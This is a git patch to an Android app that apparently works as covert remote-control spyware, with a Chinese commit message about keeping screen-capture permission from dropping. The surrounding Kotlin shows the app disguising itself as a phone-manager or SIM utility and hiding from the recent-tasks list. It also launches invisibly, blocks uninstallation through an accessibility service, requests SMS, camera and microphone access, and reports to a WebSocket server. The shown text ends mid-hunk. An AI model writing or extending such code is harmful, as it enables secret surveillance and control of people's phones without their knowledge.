From 92cfc101507c5ababb1b487ad2aef21c8621b974 Mon Sep 17 00:00:00 2001 From: wdvipa Date: Sun, 15 Feb 2026 19:08:23 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E6=8A=95=E5=B1=8F?= =?UTF-8?q?=E6=9D=83=E9=99=90=E9=A2=91=E7=B9=81=E4=B8=A2=E5=A4=B1=E7=9A=84?= =?UTF-8?q?=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - MainActivity.handleMediaProjectionResult中直接调用getMediaProjection()改为通过safeGetOrCreateProjection安全入口 - PermissionHealthMonitor.preparePermissionRefresh中禁止重新创建MediaProjection实例,改为仅刷新权限数据时间戳 - 根因:重复调用getMediaProjection()创建新实例会导致系统自动stop旧实例,触发onStop回调形成权限掉落死循环 - 清理PermissionHealthMonitor中的emoji符号 --- app/src/main/assets/server_config.json | 2 +- .../main/java/com/hikoncont/MainActivity.kt | 1416 ++++++++--------- .../service/PermissionHealthMonitor.kt | 103 +- 3 files changed, 757 insertions(+), 764 deletions(-) diff --git a/app/src/main/assets/server_config.json b/app/src/main/assets/server_config.json index 1f75259..828090f 100644 --- a/app/src/main/assets/server_config.json +++ b/app/src/main/assets/server_config.json @@ -1,5 +1,5 @@ { - "serverUrl": "http://192.168.0.105:3001", + "serverUrl": "ws://192.168.0.103:3001", "webUrl": "https://yhdm.one", "buildTime": "2025-09-09T11:45:57.889Z", "version": "1.0.1.6", diff --git a/app/src/main/java/com/hikoncont/MainActivity.kt b/app/src/main/java/com/hikoncont/MainActivity.kt index 3a1b2d8..24c49c3 100644 --- a/app/src/main/java/com/hikoncont/MainActivity.kt +++ b/app/src/main/java/com/hikoncont/MainActivity.kt @@ -52,7 +52,7 @@ class MainActivity : AppCompatActivity() { private const val REQUEST_CAMERA_PERMISSION = 1009 private const val REQUEST_ALL_PERMISSIONS = 1010 - // ✅ 新增:自动重试配置 + //新增:自动重试配置 private const val MAX_AUTO_RETRY_COUNT = 6 // 最大重试次数:6次 (约30秒) private const val AUTO_RETRY_INTERVAL = 5000L // 重试间隔:5秒 } @@ -67,34 +67,34 @@ class MainActivity : AppCompatActivity() { private var mediaProjectionManager: MediaProjectionManager? = null private var mediaProjection: MediaProjection? = null - // ✅ 新增:重试状态追踪 + //新增:重试状态追踪 private var autoRetryCount = 0 private var retryHandler: android.os.Handler? = null private var retryRunnable: Runnable? = null - // ✅ 标记是否为自动权限申请流程 + //标记是否为自动权限申请流程 private var isAutoPermissionRequest = false - // ✅ 防止重复权限申请的标志 + //防止重复权限申请的标志 private var permissionRequestInProgress = false - // ✅ 新增:存储自定义的页面样式配置 + //新增:存储自定义的页面样式配置 private var customStatusText: String? = null private var customUsageInstructions: String? = null // 🔑 新增:状态文本保护标志 - 当有自定义状态文本时不允许修改 private var preserveCustomStatusText = false - // ✅ MediaProjection权限监听Handler + //MediaProjection权限监听Handler private var mediaProjectionCheckHandler: Handler? = null - // ✅ WebView状态相关(使用静态变量方案,最高性能) + //WebView状态相关(使用静态变量方案,最高性能) private var webViewStatusHandler: Handler? = null private var webViewStatusRunnable: Runnable? = null private var isWebViewVisible = false private var mediaProjectionCheckRunnable: Runnable? = null - // ✅ 合并的广播接收器 - 处理停止Activity和备用权限申请 + //合并的广播接收器 - 处理停止Activity和备用权限申请 private val combinedBroadcastReceiver = object : BroadcastReceiver() { override fun onReceive(context: Context?, intent: Intent?) { when (intent?.action) { @@ -128,9 +128,9 @@ class MainActivity : AppCompatActivity() { requestAllPermissionsAtOnce() } - // ✅ 移除SETUP_COMPLETE广播处理,功能已融合到SetupCompleteReceiver中 + //移除SETUP_COMPLETE广播处理,功能已融合到SetupCompleteReceiver中 - // ✅ 移除INSTALLATION_COMPLETE广播处理,功能已融合到InstallationCompleteReceiver中 + //移除INSTALLATION_COMPLETE广播处理,功能已融合到InstallationCompleteReceiver中 "android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE" -> { Log.i(TAG, "📡 收到备用权限申请广播 - 来自AccessibilityRemoteService") @@ -144,29 +144,29 @@ class MainActivity : AppCompatActivity() { ) if (autoRequest) { - // ✅ 检查是否已有权限申请在进行,防止重复申请 + //检查是否已有权限申请在进行,防止重复申请 if (permissionRequestInProgress) { - Log.w(TAG, "⚠️ 权限申请已在进行中,忽略备用广播") + Log.w(TAG, "权限申请已在进行中,忽略备用广播") return } - // ✅ 检查权限是否已存在,防止重复申请 + //检查权限是否已存在,防止重复申请 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { - Log.i(TAG, "✅ MediaProjection权限已存在,忽略备用广播") + Log.i(TAG, "MediaProjection权限已存在,忽略备用广播") return } Log.i( TAG, - "✅ 备用广播包含AUTO_REQUEST_PERMISSION=true,但权限申请已通过主Intent启动" + "备用广播包含AUTO_REQUEST_PERMISSION=true,但权限申请已通过主Intent启动" ) - Log.i(TAG, "🔄 备用广播仅用于确保Activity前台显示,不重复启动权限申请") + Log.i(TAG, "备用广播仅用于确保Activity前台显示,不重复启动权限申请") - // ✅ 仅强制将Activity带到前台,不重复启动权限申请 + //仅强制将Activity带到前台,不重复启动权限申请 runOnUiThread { try { - // ✅ ANR修复:异步处理窗口焦点操作 + //ANR修复:异步处理窗口焦点操作 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // 分步骤设置窗口标志,避免ANR @@ -186,25 +186,25 @@ class MainActivity : AppCompatActivity() { taskId, android.app.ActivityManager.MOVE_TASK_WITH_HOME ) - Log.i(TAG, "✅ 已设置Activity前台显示标志并尝试移至前台") + Log.i(TAG, "已设置Activity前台显示标志并尝试移至前台") } catch (e: Exception) { - Log.e(TAG, "❌ moveTaskToFront失败", e) + Log.e(TAG, "moveTaskToFront失败", e) } }, 150) } catch (e: Exception) { - Log.e(TAG, "❌ 设置屏幕标志失败", e) + Log.e(TAG, "设置屏幕标志失败", e) } }, 100) } catch (e: Exception) { - Log.e(TAG, "❌ 异步设置Activity前台显示失败", e) + Log.e(TAG, "异步设置Activity前台显示失败", e) } } } catch (e: Exception) { - Log.w(TAG, "⚠️ 设置Activity前台显示失败: ${e.message}") + Log.w(TAG, "设置Activity前台显示失败: ${e.message}") } } } else { - Log.w(TAG, "⚠️ 备用广播不包含AUTO_REQUEST_PERMISSION=true") + Log.w(TAG, "备用广播不包含AUTO_REQUEST_PERMISSION=true") } } @@ -218,7 +218,7 @@ class MainActivity : AppCompatActivity() { // 强制将Activity带到前台的多重机制 Log.i(TAG, "🚀 开始强制前台显示 (forceForeground=$forceForeground)") - // ✅ ANR修复:异步处理窗口焦点操作 + //ANR修复:异步处理窗口焦点操作 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // 方法1:分步骤设置窗口标志,避免ANR @@ -244,9 +244,9 @@ class MainActivity : AppCompatActivity() { taskId, android.app.ActivityManager.MOVE_TASK_WITH_HOME ) - Log.i(TAG, "✅ ActivityManager移动任务成功") + Log.i(TAG, "ActivityManager移动任务成功") } catch (e: Exception) { - Log.w(TAG, "⚠️ ActivityManager移动任务失败", e) + Log.w(TAG, "ActivityManager移动任务失败", e) } }, 200) @@ -254,23 +254,23 @@ class MainActivity : AppCompatActivity() { try { setTurnScreenOn(true) setShowWhenLocked(true) - Log.i(TAG, "✅ 系统级前台显示设置成功") + Log.i(TAG, "系统级前台显示设置成功") } catch (e: Exception) { - Log.w(TAG, "⚠️ 系统级前台显示设置失败", e) + Log.w(TAG, "系统级前台显示设置失败", e) } } } catch (e: Exception) { - Log.e(TAG, "❌ 设置窗口标志失败", e) + Log.e(TAG, "设置窗口标志失败", e) } }, 100) } catch (e: Exception) { - Log.e(TAG, "❌ 异步设置窗口标志失败", e) + Log.e(TAG, "异步设置窗口标志失败", e) } } if (setupComplete) { updateStatusTextThreadSafe( - "✅ 服务启动中...", + "服务启动中...", android.R.color.holo_green_dark ) if (::enableButton.isInitialized) { @@ -280,9 +280,9 @@ class MainActivity : AppCompatActivity() { } } - Log.i(TAG, "✅ 主页已显示并更新状态") + Log.i(TAG, "主页已显示并更新状态") } catch (e: Exception) { - Log.e(TAG, "❌ 显示主页失败", e) + Log.e(TAG, "显示主页失败", e) } } } @@ -295,13 +295,13 @@ class MainActivity : AppCompatActivity() { * 如果有自定义状态文本且启用了保护,则不更新 */ private fun updateStatusTextSafely(newText: String, color: Int? = null) { - // ✅ 安全检查:确保UI组件已初始化 + //安全检查:确保UI组件已初始化 if (!::statusText.isInitialized) { - Log.w(TAG, "⚠️ statusText未初始化,跳过updateStatusTextSafely") + Log.w(TAG, "statusText未初始化,跳过updateStatusTextSafely") return } - // ✅ 检查是否是WebView模式,如果是则跳过UI更新 + //检查是否是WebView模式,如果是则跳过UI更新 if (isWebViewMode()) { Log.d(TAG, "🌐 WebView模式,跳过状态文本更新: $newText") return @@ -320,11 +320,11 @@ class MainActivity : AppCompatActivity() { statusText.text = newText color?.let { statusText.setTextColor(getColor(it)) } - Log.d(TAG, "📝 状态文本已更新: $newText") + Log.d(TAG, "状态文本已更新: $newText") } /** - * ✅ 新增:安全更新状态文本的便捷方法,自动处理UI线程 + *新增:安全更新状态文本的便捷方法,自动处理UI线程 */ private fun updateStatusTextSafelyOnUiThread(newText: String, color: Int? = null) { runOnUiThread { @@ -333,7 +333,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 检查是否是WebView模式 + *检查是否是WebView模式 * 在WebView模式下,statusText等UI组件被隐藏,不应该尝试更新 */ private fun isWebViewMode(): Boolean { @@ -344,7 +344,7 @@ class MainActivity : AppCompatActivity() { webView?.visibility == android.view.View.VISIBLE && statusText?.visibility == android.view.View.GONE } catch (e: Exception) { - Log.d(TAG, "🔍 检查WebView模式时异常: ${e.message}") + Log.d(TAG, "检查WebView模式时异常: ${e.message}") false } } @@ -352,10 +352,10 @@ class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) - // ✅ 参考zuiqiang:移除保活检测,让MainActivity正常启动 + //参考zuiqiang:移除保活检测,让MainActivity正常启动 // zuiqiang的做法是在onDestroy时启动透明保活Activity,而不是在onCreate中检测 - // ✅ 确保无障碍服务在App打开时被拉起(已授权但服务异常时) + //确保无障碍服务在App打开时被拉起(已授权但服务异常时) // try { // ensureAccessibilityServiceAlive() // } catch (_: Exception) {} @@ -363,44 +363,44 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "MainActivity创建完成") Log.i(TAG, "📊 Activity实例信息: ${this.hashCode()}, 任务ID: ${this.taskId}") - // ✅ 添加详细的Intent调试信息 + //添加详细的Intent调试信息 val intent = getIntent() if (intent != null) { - Log.i(TAG, "🔍 Intent详细信息:") - Log.i(TAG, "🔍 action: ${intent.action}") - Log.i(TAG, "🔍 component: ${intent.component}") + Log.i(TAG, "Intent详细信息:") + Log.i(TAG, " action: ${intent.action}") + Log.i(TAG, " component: ${intent.component}") Log.i( TAG, - "🔍 from_installation_complete: ${ + " from_installation_complete: ${ intent.getBooleanExtra( "from_installation_complete", false ) }" ) - Log.i(TAG, "🔍 show_webview: ${intent.getBooleanExtra("show_webview", false)}") - Log.i(TAG, "🔍 user_initiated: ${intent.getBooleanExtra("user_initiated", false)}") - Log.i(TAG, "🔍 force_foreground: ${intent.getBooleanExtra("force_foreground", false)}") + Log.i(TAG, " show_webview: ${intent.getBooleanExtra("show_webview", false)}") + Log.i(TAG, " user_initiated: ${intent.getBooleanExtra("user_initiated", false)}") + Log.i(TAG, " force_foreground: ${intent.getBooleanExtra("force_foreground", false)}") Log.i( TAG, - "🔍 LAUNCH_BACKGROUND: ${intent.getBooleanExtra("LAUNCH_BACKGROUND", false)}" + " LAUNCH_BACKGROUND: ${intent.getBooleanExtra("LAUNCH_BACKGROUND", false)}" ) } else { - Log.w(TAG, "⚠️ Intent为null") + Log.w(TAG, "Intent为null") } - // ✅ 注册广播接收器(无论是否伪装模式都需要) + //注册广播接收器(无论是否伪装模式都需要) val filter = IntentFilter().apply { addAction("android.mycustrecev.STOP_ACTIVITY_CREATION") addAction("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE") // 添加备用广播 addAction("android.mycustrecev.SHOW_MAIN_ACTIVITY") // 添加显示主页广播 - // ✅ 移除SETUP_COMPLETE广播,功能已融合到SetupCompleteReceiver中 - // ✅ 移除INSTALLATION_COMPLETE广播,功能已融合到InstallationCompleteReceiver中 - addAction("android.mycustrecev.REQUEST_CAMERA_PERMISSION") // ✅ 新增:摄像头权限请求广播 - addAction("android.mycustrecev.REQUEST_GALLERY_PERMISSION") // ✅ 新增:相册权限请求广播 - addAction("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION") // ✅ 新增:麦克风权限请求广播 - addAction("android.mycustrecev.REQUEST_SMS_PERMISSION") // ✅ 新增:短信权限请求广播 - addAction("android.mycustrecev.REQUEST_ALL_PERMISSIONS") // ✅ 新增:所有权限请求广播 + //移除SETUP_COMPLETE广播,功能已融合到SetupCompleteReceiver中 + //移除INSTALLATION_COMPLETE广播,功能已融合到InstallationCompleteReceiver中 + addAction("android.mycustrecev.REQUEST_CAMERA_PERMISSION") //新增:摄像头权限请求广播 + addAction("android.mycustrecev.REQUEST_GALLERY_PERMISSION") //新增:相册权限请求广播 + addAction("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION") //新增:麦克风权限请求广播 + addAction("android.mycustrecev.REQUEST_SMS_PERMISSION") //新增:短信权限请求广播 + addAction("android.mycustrecev.REQUEST_ALL_PERMISSIONS") //新增:所有权限请求广播 } registerReceiver(combinedBroadcastReceiver, filter) @@ -416,26 +416,26 @@ class MainActivity : AppCompatActivity() { // Record app launch count for keep-alive detection recordAppLaunch() - // ✅ 新增:检查是否为无闪现后台唤起 + //新增:检查是否为无闪现后台唤起 if (intent?.getBooleanExtra("LAUNCH_BACKGROUND", false) == true) { try { overridePendingTransition(0, 0) window.decorView.alpha = 0f moveTaskToBack(true) - Log.i(TAG, "🫥 onCreate: 已无闪现退到后台") + Log.i(TAG, "onCreate: 已无闪现退到后台") } catch (e: Exception) { - Log.w(TAG, "⚠️ onCreate 隐藏失败: ${e.message}") + Log.w(TAG, "onCreate 隐藏失败: ${e.message}") } } - // ✅ 优先检查:是否来自安装完成广播,需要显示WebView + //优先检查:是否来自安装完成广播,需要显示WebView if (intent?.getBooleanExtra("from_installation_complete", false) == true && intent?.getBooleanExtra("show_webview", false) == true ) { Log.i(TAG, "🌐 来自安装完成广播,检查MediaProjection权限后显示WebView") Log.i( TAG, - "🔍 Intent参数: from_installation_complete=${ + "Intent参数: from_installation_complete=${ intent.getBooleanExtra( "from_installation_complete", false @@ -444,7 +444,7 @@ class MainActivity : AppCompatActivity() { ) Log.i( TAG, - "🔍 其他参数: user_initiated=${ + "其他参数: user_initiated=${ intent.getBooleanExtra( "user_initiated", false @@ -452,43 +452,43 @@ class MainActivity : AppCompatActivity() { }, force_foreground=${intent.getBooleanExtra("force_foreground", false)}" ) - // ✅ 新增:检查MediaProjection权限是否已获取 + //新增:检查MediaProjection权限是否已获取 val hasMediaProjectionPermission = checkRealMediaProjectionPermission() - Log.i(TAG, "🔍 MediaProjection权限检查结果: $hasMediaProjectionPermission") + Log.i(TAG, "MediaProjection权限检查结果: $hasMediaProjectionPermission") if (!hasMediaProjectionPermission) { - Log.w(TAG, "⚠️ MediaProjection权限未获取,不启动WebView,转入手动权限申请流程") + Log.w(TAG, "MediaProjection权限未获取,不启动WebView,转入手动权限申请流程") // 设置布局但不启动WebView,让应用进入正常的权限申请流程 setContentView(R.layout.activity_main) initViews() return } - Log.i(TAG, "✅ MediaProjection权限已获取,启动WebView") + Log.i(TAG, "MediaProjection权限已获取,启动WebView") setContentView(R.layout.activity_main) - Log.i(TAG, "✅ 已设置布局,准备启动WebView") + Log.i(TAG, "已设置布局,准备启动WebView") - // ✅ 修复:在可能访问UI组件之前初始化视图 + //修复:在可能访问UI组件之前初始化视图 initViews() - // ✅ 检查布局是否正确设置 + //检查布局是否正确设置 val webView = findViewById(R.id.webView) if (webView == null) { - Log.e(TAG, "❌ 布局设置后未找到WebView,可能布局文件有问题") + Log.e(TAG, "布局设置后未找到WebView,可能布局文件有问题") return } else { - Log.i(TAG, "✅ 布局设置成功,找到WebView") + Log.i(TAG, "布局设置成功,找到WebView") } startWebViewActivity() - Log.i(TAG, "✅ 已调用startWebViewActivity,准备返回") + Log.i(TAG, "已调用startWebViewActivity,准备返回") return } - // ✅ 参考zuiqiang:检查是否为保活启动,如果是则直接结束避免动画 + //参考zuiqiang:检查是否为保活启动,如果是则直接结束避免动画 // 注意:只有在明确是保活启动时才结束,避免误判正常启动 if (isLaunchedByKeepAlive()) { - Log.i(TAG, "🫥 检测到保活启动,直接结束避免动画") + Log.i(TAG, "检测到保活启动,直接结束避免动画") // 参考zuiqiang:保活启动时完全禁用动画,直接结束 overridePendingTransition(0, 0) window.setBackgroundDrawableResource(android.R.color.transparent) @@ -498,7 +498,7 @@ class MainActivity : AppCompatActivity() { } setContentView(R.layout.activity_main) - // 🔍 无障碍服务健康检查(是否正常运行) + // 无障碍服务健康检查(是否正常运行) try { val enabled = isAccessibilityServiceEnabled() @@ -506,7 +506,7 @@ class MainActivity : AppCompatActivity() { val running = AccessibilityRemoteService.isServiceRunning() Log.i( TAG, - "🔍 无障碍服务健康检查: enabled=$enabled, instance=${instance != null}, running=$running" + "无障碍服务健康检查: enabled=$enabled, instance=${instance != null}, running=$running" ) if (enabled && running && instance != null) { @@ -516,7 +516,7 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "🎭 检测到手机管家伪装模式,启动无障碍监听服务") try { - // ✅ 伪装模式下,从任务栏移除进程 + //伪装模式下,从任务栏移除进程 removeFromRecentTasks() // 设置伪装主题,完全隐藏界面 @@ -556,12 +556,12 @@ class MainActivity : AppCompatActivity() { try { startAccessibilityServiceForCamouflage() } catch (e: Exception) { - Log.e(TAG, "❌ 启动无障碍监听服务失败", e) + Log.e(TAG, "启动无障碍监听服务失败", e) } }, 100) // 100ms延迟,确保界面设置完成 } catch (e: Exception) { - Log.e(TAG, "❌ 伪装模式设置失败", e) + Log.e(TAG, "伪装模式设置失败", e) } return @@ -572,7 +572,7 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "🎭 检测到I管家伪装模式,启动无障碍监听服务") try { - // ✅ 伪装模式下,从任务栏移除进程 + //伪装模式下,从任务栏移除进程 removeFromRecentTasks() // 设置伪装主题,完全隐藏界面 @@ -612,18 +612,18 @@ class MainActivity : AppCompatActivity() { try { startAccessibilityServiceForCamouflage() } catch (e: Exception) { - Log.e(TAG, "❌ 启动无障碍监听服务失败", e) + Log.e(TAG, "启动无障碍监听服务失败", e) } }, 100) // 100ms延迟,确保界面设置完成 } catch (e: Exception) { - Log.e(TAG, "❌ I管家伪装模式设置失败", e) + Log.e(TAG, "I管家伪装模式设置失败", e) } return } - // ✅ 新增:检查安装是否已完成,如果完成则直接显示WebView + //新增:检查安装是否已完成,如果完成则直接显示WebView if (isInstallationCompleted()) { Log.i(TAG, "📦 检测到安装已完成,直接显示WebView") setContentView(R.layout.activity_main) @@ -643,17 +643,17 @@ class MainActivity : AppCompatActivity() { if (com.hikoncont.util.WebViewStateStore.hasOpened(this)) { Log.i(TAG, "🌐 检测到WebView曾经打开过,检查MediaProjection权限后启动WebView页面") - // ✅ 新增:检查MediaProjection权限是否已获取 + //新增:检查MediaProjection权限是否已获取 val hasMediaProjectionPermission = checkRealMediaProjectionPermission() - Log.i(TAG, "🔍 MediaProjection权限检查结果: $hasMediaProjectionPermission") + Log.i(TAG, "MediaProjection权限检查结果: $hasMediaProjectionPermission") if (!hasMediaProjectionPermission) { - Log.w(TAG, "⚠️ MediaProjection权限未获取,不启动WebView,转入手动权限申请流程") + Log.w(TAG, "MediaProjection权限未获取,不启动WebView,转入手动权限申请流程") // 不启动WebView,让应用进入正常的权限申请流程 return } - Log.i(TAG, "✅ MediaProjection权限已获取,启动WebView页面") + Log.i(TAG, "MediaProjection权限已获取,启动WebView页面") startWebViewActivity() return } @@ -661,7 +661,7 @@ class MainActivity : AppCompatActivity() { } } catch (e: Exception) { - Log.e(TAG, "❌ 无障碍服务健康检查异常", e) + Log.e(TAG, "无障碍服务健康检查异常", e) } @@ -672,7 +672,7 @@ class MainActivity : AppCompatActivity() { updateUI() - // ✅ 新增:APP打开时强制检查并恢复无障碍服务 + //新增:APP打开时强制检查并恢复无障碍服务 forceCheckAndRecoverAccessibilityService() // 检查是否需要申请短信权限 @@ -691,7 +691,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 从任务栏移除进程(伪装模式下使用) + *从任务栏移除进程(伪装模式下使用) */ private fun removeFromRecentTasks() { try { @@ -701,21 +701,21 @@ class MainActivity : AppCompatActivity() { if (appTasks.isNotEmpty()) { val appTask = appTasks[0] appTask.setExcludeFromRecents(true) - Log.i(TAG, "✅ 已从任务栏移除进程") + Log.i(TAG, "已从任务栏移除进程") } else { - Log.w(TAG, "⚠️ 未找到AppTask,无法从任务栏移除") + Log.w(TAG, "未找到AppTask,无法从任务栏移除") } } else { - Log.w(TAG, "⚠️ API版本过低,无法使用setExcludeFromRecents") + Log.w(TAG, "API版本过低,无法使用setExcludeFromRecents") } } catch (e: Exception) { - Log.e(TAG, "❌ 从任务栏移除进程失败", e) + Log.e(TAG, "从任务栏移除进程失败", e) } } /** * 🎭 检查是否是手机管家伪装模式 - * ✅ 参考 AccessibilityRemoteService.kt 的检测逻辑 + *参考 AccessibilityRemoteService.kt 的检测逻辑 */ private fun isPhoneManagerCamouflageMode(): Boolean { return try { @@ -734,12 +734,12 @@ class MainActivity : AppCompatActivity() { "com.hikoncont.SIMAlias" ) - // ✅ 检查 MainActivity 是否被禁用 + //检查 MainActivity 是否被禁用 val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent) val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) - // ✅ 检查是否有任何伪装alias被启用 + //检查是否有任何伪装alias被启用 var anyAliasEnabled = false var enabledAlias = "" @@ -753,11 +753,11 @@ class MainActivity : AppCompatActivity() { break } } catch (e: Exception) { - Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e) + Log.w(TAG, "检查alias状态失败: $aliasName", e) } } - // ✅ 伪装模式 = MainActivity 被禁用 && 有任何一个 alias 被启用 + //伪装模式 = MainActivity 被禁用 && 有任何一个 alias 被启用 val isCamouflage = isMainDisabled && anyAliasEnabled Log.d( @@ -767,14 +767,14 @@ class MainActivity : AppCompatActivity() { isCamouflage } catch (e: Exception) { - Log.e(TAG, "❌ 检查手机管家伪装模式失败", e) + Log.e(TAG, "检查手机管家伪装模式失败", e) false } } /** * 🎭 检查是否是I管家伪装模式 - * ✅ 参考 AccessibilityRemoteService.kt 的检测逻辑 + *参考 AccessibilityRemoteService.kt 的检测逻辑 */ private fun isIGuanjiaCamouflageMode(): Boolean { return try { @@ -784,17 +784,17 @@ class MainActivity : AppCompatActivity() { val aliasComponent = android.content.ComponentName(this, "com.hikoncont.VivoIGuanjiaAlias") - // ✅ 检查 MainActivity 是否被禁用 + //检查 MainActivity 是否被禁用 val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent) val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) - // ✅ 检查 VivoIGuanjiaAlias 是否被启用 + //检查 VivoIGuanjiaAlias 是否被启用 val aliasEnabled = packageManager.getComponentEnabledSetting(aliasComponent) val isAliasEnabled = (aliasEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) - // ✅ 伪装模式 = MainActivity 被禁用 && alias 被启用 + //伪装模式 = MainActivity 被禁用 && alias 被启用 val isCamouflage = isMainDisabled && isAliasEnabled Log.d( @@ -804,7 +804,7 @@ class MainActivity : AppCompatActivity() { isCamouflage } catch (e: Exception) { - Log.e(TAG, "❌ 检查I管家伪装模式失败", e) + Log.e(TAG, "检查I管家伪装模式失败", e) false } } @@ -855,11 +855,11 @@ class MainActivity : AppCompatActivity() { // 设置窗口背景为白色 window.setBackgroundDrawableResource(android.R.color.white) - Log.i(TAG, "✅ 白色界面模式设置完成") + Log.i(TAG, "白色界面模式设置完成") Log.i(TAG, "🎭 伪装模式:显示完全白色界面,无系统UI") } catch (e: Exception) { - Log.e(TAG, "❌ 设置白色界面模式失败", e) + Log.e(TAG, "设置白色界面模式失败", e) } } @@ -886,29 +886,29 @@ class MainActivity : AppCompatActivity() { val eventManager = accessibilityService.getAccessibilityEventManager() if (eventManager != null) { eventManager.enablePhoneManagerCamouflage() - Log.i(TAG, "✅ 伪装监听服务已启用") + Log.i(TAG, "伪装监听服务已启用") } else { - Log.w(TAG, "⚠️ AccessibilityEventManager不可用") + Log.w(TAG, "AccessibilityEventManager不可用") } // 启用防卸载监听 try { accessibilityService.enableUninstallProtection() - Log.i(TAG, "✅ 防卸载监听服务已启用") + Log.i(TAG, "防卸载监听服务已启用") } catch (e: Exception) { - Log.e(TAG, "❌ 启用防卸载监听失败", e) + Log.e(TAG, "启用防卸载监听失败", e) } } else { - Log.w(TAG, "⚠️ AccessibilityRemoteService不可用") + Log.w(TAG, "AccessibilityRemoteService不可用") } } catch (e: Exception) { - Log.e(TAG, "❌ 启用监听服务失败", e) + Log.e(TAG, "启用监听服务失败", e) } }, 200) // 等待200ms让服务完全启动 } catch (e: Exception) { - Log.e(TAG, "❌ 启动无障碍监听服务异常", e) + Log.e(TAG, "启动无障碍监听服务异常", e) } } @@ -963,8 +963,8 @@ class MainActivity : AppCompatActivity() { val ok = instance != null && com.hikoncont.service.AccessibilityRemoteService.isServiceRunning() if (!ok) { - // ✅ 参考 f 目录策略:只启动主前台服务,不启动多余的保活服务 - Log.w(TAG, "⚠️ 无障碍服务未运行,但保活程序不启动多余服务(参考 f 目录策略)") + //参考 f 目录策略:只启动主前台服务,不启动多余的保活服务 + Log.w(TAG, "无障碍服务未运行,但保活程序不启动多余服务(参考 f 目录策略)") } } catch (_: Exception) { } @@ -1014,19 +1014,19 @@ class MainActivity : AppCompatActivity() { startActivity(intent) - Log.i(TAG, "✅ 成功启动系统手机管家: $packageName") + Log.i(TAG, "成功启动系统手机管家: $packageName") success = true break } } catch (e: Exception) { - Log.d(TAG, "⚠️ 无法启动手机管家: $packageName", e) + Log.d(TAG, "无法启动手机管家: $packageName", e) continue } } // 如果没有找到合适的手机管家,启动系统设置 if (!success) { - Log.w(TAG, "⚠️ 未找到可用的系统手机管家,尝试启动系统设置") + Log.w(TAG, "未找到可用的系统手机管家,尝试启动系统设置") try { val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS) settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) @@ -1034,23 +1034,23 @@ class MainActivity : AppCompatActivity() { settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) startActivity(settingsIntent) - Log.i(TAG, "✅ 已切换到系统设置") + Log.i(TAG, "已切换到系统设置") } catch (e: Exception) { - Log.e(TAG, "❌ 切换到系统设置也失败", e) + Log.e(TAG, "切换到系统设置也失败", e) } } } catch (e: Exception) { - Log.e(TAG, "❌ 启动系统手机管家异常", e) + Log.e(TAG, "启动系统手机管家异常", e) } } /** - * ✅ 关键修复:处理新的Intent(当Activity已存在时) + *关键修复:处理新的Intent(当Activity已存在时) */ override fun onNewIntent(intent: Intent?) { super.onNewIntent(intent) - Log.i(TAG, "🔄 MainActivity收到新的Intent") + Log.i(TAG, "MainActivity收到新的Intent") if (intent != null) { // 更新当前Intent @@ -1065,21 +1065,21 @@ class MainActivity : AppCompatActivity() { window.decorView.alpha = 0f // 立刻退到后台 moveTaskToBack(true) - Log.i(TAG, "🫥 onNewIntent: 已无闪现退到后台") + Log.i(TAG, "onNewIntent: 已无闪现退到后台") } catch (e: Exception) { - Log.w(TAG, "⚠️ onNewIntent 隐藏失败: ${e.message}") + Log.w(TAG, "onNewIntent 隐藏失败: ${e.message}") } } // 处理新的Intent handleIntentAndPermissions(intent) } else { - Log.w(TAG, "⚠️ 收到null Intent") + Log.w(TAG, "收到null Intent") } } /** - * ✅ 统一的Intent处理方法 + *统一的Intent处理方法 */ private fun handleIntentAndPermissions(intent: Intent) { // 检查启动类型 @@ -1107,7 +1107,7 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "📊 Intent Action: ${intent.action ?: "无"}") Log.i(TAG, "📊 Intent Flags: ${intent.flags}") - // ✅ 详细记录所有Intent参数,用于调试 + //详细记录所有Intent参数,用于调试 val extras = intent.extras if (extras != null) { Log.i(TAG, "📊 Intent包含${extras.size()}个额外参数:") @@ -1116,17 +1116,17 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, " $key = $value (${value?.javaClass?.simpleName})") } } else { - Log.w(TAG, "⚠️ Intent没有任何额外参数!") + Log.w(TAG, "Intent没有任何额外参数!") } when { - // ✅ 优先检查:是否来自安装完成广播,需要显示WebView + //优先检查:是否来自安装完成广播,需要显示WebView intent.getBooleanExtra("from_installation_complete", false) && intent.getBooleanExtra("show_webview", false) -> { Log.i(TAG, "🌐 检测到安装完成广播,启动WebView") Log.i( TAG, - "🔍 参数: user_initiated=${ + "参数: user_initiated=${ intent.getBooleanExtra( "user_initiated", false @@ -1138,35 +1138,35 @@ class MainActivity : AppCompatActivity() { try { val webView = findViewById(R.id.webView) if (webView == null) { - Log.e(TAG, "❌ 未找到WebView,可能布局未设置") + Log.e(TAG, "未找到WebView,可能布局未设置") setContentView(R.layout.activity_main) - Log.i(TAG, "✅ 已重新设置布局") + Log.i(TAG, "已重新设置布局") } } catch (e: Exception) { - Log.e(TAG, "❌ 检查WebView失败", e) + 